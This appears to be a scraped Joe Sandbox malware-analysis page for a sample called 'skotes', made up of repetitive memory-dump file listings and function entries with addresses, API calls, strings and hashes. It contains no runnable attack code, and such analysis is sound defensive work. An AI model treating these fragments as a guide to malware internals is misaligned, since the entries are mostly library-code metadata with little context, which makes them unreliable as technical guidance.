Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 4bad1a2dfac0bccd260ecac2fd79913b7519812b3ba0af7b63c29019c6dd56f7
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: DBF0A731200A206FE666AB569831F6B23959F40719F00842FE42BD7342CE6CEC42CB59

Function 004EF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 004EF3A3

Strings

8"Q, xrefs: 004EF44B
`'Q, xrefs: 004EF375

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"Q$`'Q
API String ID: 3903695350-3906557507
Opcode ID: c158e3445b2677378994b16512733e6e330d5c145e17bbde4487950dcefbdece
Instruction ID: aaf282b0f47a3840ef6044d5e89ba4be529962909687f86ab90450a807c8c15b
Opcode Fuzzy Hash: c158e3445b2677378994b16512733e6e330d5c145e17bbde4487950dcefbdece
Instruction Fuzzy Hash: 0F316931600781EFEB21AA3BD845B5B73EAFF0031BF10442BE445D6691DE78A8948A29

Function 004EF1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 004EF232
__freea.LIBCMT ref: 004EF298

Part of subcall function 004EB04B: RtlAllocateHeap.NTDLL(00000000,0667AB08,?,?,004CD3FC,0667AB08,?,004C7A8B,?,?,?,?,?,?,004B7465,?), ref: 004EB07D

Strings

ZN,mN, xrefs: 004EF1D2

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: ZN,mN
API String ID: 809856575-1548509803
Opcode ID: 14065c19f05aefeb21bcd35309c1b9b51ac7865f97c2ea257538fad226b7094f
Instruction ID: 1e79db320070eabca2ed1682b0c94e4ec50bb8c4ef950291523ca1ac4a5a194d
Opcode Fuzzy Hash: 14065c19f05aefeb21bcd35309c1b9b51ac7865f97c2ea257538fad226b7094f
Instruction Fuzzy Hash: B431047190028AABDB209F67CC41EAF7BA4EF84315F0541AAFA14AB241D7399D15C7A4

Function 004E1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 004E1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 004E17AF

Strings

pContext, xrefs: 004E17A7

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 6f84e0a6846f0ee44d7a607503fcde51e72499d1cb4643ee2da0bcc87fb24e28
Instruction ID: f37c0948435ce86d8e6435b57b132270a5856ef67448ed2af36c0ffa4b60533a
Opcode Fuzzy Hash: 6f84e0a6846f0ee44d7a607503fcde51e72499d1cb4643ee2da0bcc87fb24e28
Instruction Fuzzy Hash: 0B115939A402509BCB05FF2AC88496D77A5AF84766B04406FEC02973A2DB38ED01CBD8

Function 004D0C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 004D0CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 004D0D2A

Strings

p[Q, xrefs: 004D0CCF

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[Q
API String ID: 3303180142-4002632895
Opcode ID: ed3e48619f180e412be44d3c70271505eba65b8c1954eee241e96336c956638d
Instruction ID: 846d922fd55536f8df518e7d1ea08604498724cfbea4deab397fa0a354acd8af
Opcode Fuzzy Hash: ed3e48619f180e412be44d3c70271505eba65b8c1954eee241e96336c956638d
Instruction Fuzzy Hash: F301B578D09604DADB50EFF9657175E66E0AB48308F60406FE405EB382DE7C8E41975E

Function 004CCAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,004D65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 004CCAFC
CreateSemaphoreW.KERNEL32(?,004D65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 004CCB1E

Strings

eM, xrefs: 004CCB12, 004CCAF0

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
